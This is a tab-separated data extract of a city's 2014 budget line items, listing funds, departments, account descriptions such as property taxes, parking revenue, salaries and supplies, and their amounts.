8374	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400010.0	PROPERTY TAXES - SECURED	602.0	Property Taxes	2014	-25230834.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25230834.0
8375	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400080.0	HOME EXEMPT TAX RELIEF	602.0	Property Taxes	2014	-209052.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-209052.0
8376	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8377	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408590.0	SA COLLECTIVE BU COSTS	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8378	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410130.0	OTHER PROF SVCS PROVIDED	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8379	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2014	-30000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-30000.0
8380	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	65692.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65692.0
8381	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	12717.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12717.0
8382	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	4463.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4463.0
8383	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2014	-128000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-128000.0
8384	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577347.0	HUD NRA RESERVE ACCOUNT	816.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8385	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
8386	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	22055.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22055.0
8387	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533225.0	BLDG/STR MAINT-PSF	808.0	 Supplies and Expenses	2014	205000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	205000.0
8388	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533227.0	BLDG/STR MAINT-PARK BLDG	808.0	 Supplies and Expenses	2014	192200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	192200.0
8389	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-9527.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9527.0
8390	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	1048843.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1048843.0
8391	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	29794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29794.0
8392	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	731.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	731.0
8393	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3500.0
8394	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2755304.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2755304.0
8395	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	8001.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8001.0
8396	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2014	4354.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4354.0
8397	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2014	-6932.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6932.0
8398	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511491.0	OVERTIME CONTINGENCY	806.0	Salaries and Wages	2014	400000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	400000.0
8399	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401890.0	WIRELESS FACILITY FEES	612.0	Charges for Service	2014	-1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1000.0
8400	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2014	-87275.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-87275.0
8401	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING-TRANS OUT TO 01 FD	910.0	 Supplies and Expenses	2014	232291.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	232291.0
8402	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	566500.0	RECRUITMENT	806.0	 Supplies and Expenses	2014	20500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20500.0
8403	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2014	166381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	166381.0
8404	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	413650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	413650.0
8405	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2014	57293.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	57293.0
8406	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	4794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4794.0
8407	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	13527.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13527.0
8408	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	3075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3075.0
8409	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	51759.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51759.0
8410	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-15915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-15915.0
8411	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	404587.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	404587.0
8412	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	28600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28600.0
8413	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	3300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3300.0
8414	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	32128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32128.0
8415	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	404041.0	SR2S - EDISON LANGUAGE ACADEMY	610.0	Intergovernmental	2014	-369700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-369700.0
8416	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	577710.0	DOWNTOWN SHUTTLE PROGRAM	816.0	 Supplies and Expenses	2014	68000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	68000.0
8417	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579011.0	DISCRET-SAFE ROUTES	804.0	 Supplies and Expenses	2014	67771.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	67771.0
8418	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2014	124705.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	124705.0
8419	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408641.0	CO ESPLANADE - CMAQ	610.0	Intergovernmental	2014	-2463750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2463750.0
8420	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400300.0	ON STREET METERS	608.0	Licenses and Permits	2014	-14680000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14680000.0
8421	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404330.0	KEN EDWARDS CENTER PARKING	612.0	Charges for Service	2014	-100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100000.0
8422	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404430.0	MAIN STREET PARKING LOTS	608.0	Licenses and Permits	2014	-1040400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1040400.0
8423	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404870.0	1665 OCEAN AVE PKG LOT	608.0	Licenses and Permits	2014	-8568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8568.0
8424	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2014	1500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500000.0
8425	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407692.0	TAXI VEHICLE PERMIT FEES	612.0	Charges for Service	2014	-33600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-33600.0
8426	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407693.0	TAXI DRIVER PERMIT FEES	612.0	Charges for Service	2014	-78000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-78000.0
8427	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2014	547.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	547.0
8428	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1524.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1524.0
8429	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	31529.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31529.0
8430	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2014	3949.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3949.0
8431	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	408473.0	OTHER BUSINESS PERMITS	608.0	Licenses and Permits	2014	-27244.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27244.0
8432	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	ALL OTHER TRANSACTIONS	408680.0	ILLEGAL DISPOSAL ABATEMENT GRA	610.0	Intergovernmental	2014	-398064.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-398064.0
8433	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577710.0	DOWNTOWN SHUTTLE PROGRAM		 Supplies and Expenses	2014	377195.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	377195.0
8434	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2014	5500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5500.0
8435	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3037.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3037.0
8436	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	513.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	513.0
8437	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	336.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	336.0
8438	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2014	88068.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88068.0
8439	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2014	130000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	130000.0
8440	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	3998.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3998.0
8441	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	1825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1825.0
8442	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10250.0
8443	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	3941.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3941.0
8444	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-5059.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5059.0
8445	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
8446	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	5100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5100.0
8447	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-4907.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4907.0
8448	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1925.0
8449	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EAP	804.0	Salaries and Wages	2014	783.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	783.0
8450	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DCAP	804.0	Salaries and Wages	2014	540.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	540.0
8451	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	6750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6750.0
8452	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8453	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	28518.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28518.0
8454	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2014	96000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	96000.0
8455	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	408490.0	RESIDENTIAL REPORT MONITORING	612.0	Charges for Service	2014	-1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1000.0
8456	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408550.0	NO NET NEW TRIPS TOOLKIT	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8457	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	8170.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8170.0
8458	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	137072.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	137072.0
8459	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EAP	808.0	Salaries and Wages	2014	1244.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1244.0
8460	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2014	255.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	255.0
8461	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	32000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32000.0
8462	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	161593.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	161593.0
8463	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
8464	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	326694.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	326694.0
8465	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	3651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3651.0
8466	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	9932.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9932.0
8467	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
8468	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	1136319.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1136319.0
8469	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	144633.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144633.0
8470	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	33024.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33024.0
8471	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	80230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	80230.0
8472	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	8815.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8815.0
8473	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS TO 01-GLOW, PLGRND PRTNR	910.0	 Supplies and Expenses	2014	35600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35600.0
8474	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS FROM 04-GLOW, PLGRND PRT	908.0	 Supplies and Expenses	2014	-35600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35600.0
8475	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT WISE	910.0	 Supplies and Expenses	2014	614000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	614000.0
8476	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2014	-40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40000.0
8477	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2014	-159075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-159075.0
8478	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	410100.0	FIRE MISCELLANEOUS REVENUE	622.0	Other	2014	-20910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20910.0
8479	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400060.0	PROPERTY TAXES-DEL-SEC/UNSEC	602.0	Property Taxes	2014	-672300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-672300.0
8480	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400190.0	BUSINESS LICENSE TAXES	606.0	Other Local Taxes	2014	-29500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-29500000.0
8481	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400350.0	STATUATORY PASS-THROUGHS	602.0	Property Taxes	2014	-2014977.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2014977.0
8482	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400480.0	SALES TAX IN-LIEU	604.0	Sales Tax	2014	-8810690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8810690.0
8483	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404660.0	LIBRARY BOND TAX OVERRIDE	602.0	Property Taxes	2014	-1486350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1486350.0
8484	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	405090.0	CITY YARDS LEASE	618.0	Rentals	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8485	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	401090.0	INDIRECT COSTS	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8486	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410160.0	BLOCK PARTIES	612.0	Charges for Service	2014	-570.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-570.0
8487	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	404900.0	TMP FEES	612.0	Charges for Service	2014	-456167.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-456167.0
8488	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	410200.0	PROGRAM INCOME	610.0	Intergovernmental	2014	-70000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-70000.0
8489	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	59945.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	59945.0
8490	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410270.0	AFFORD HOUSING LINKAGE CONTRIB	622.0	Other	2014	-21000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-21000.0
8491	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	967.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	967.0
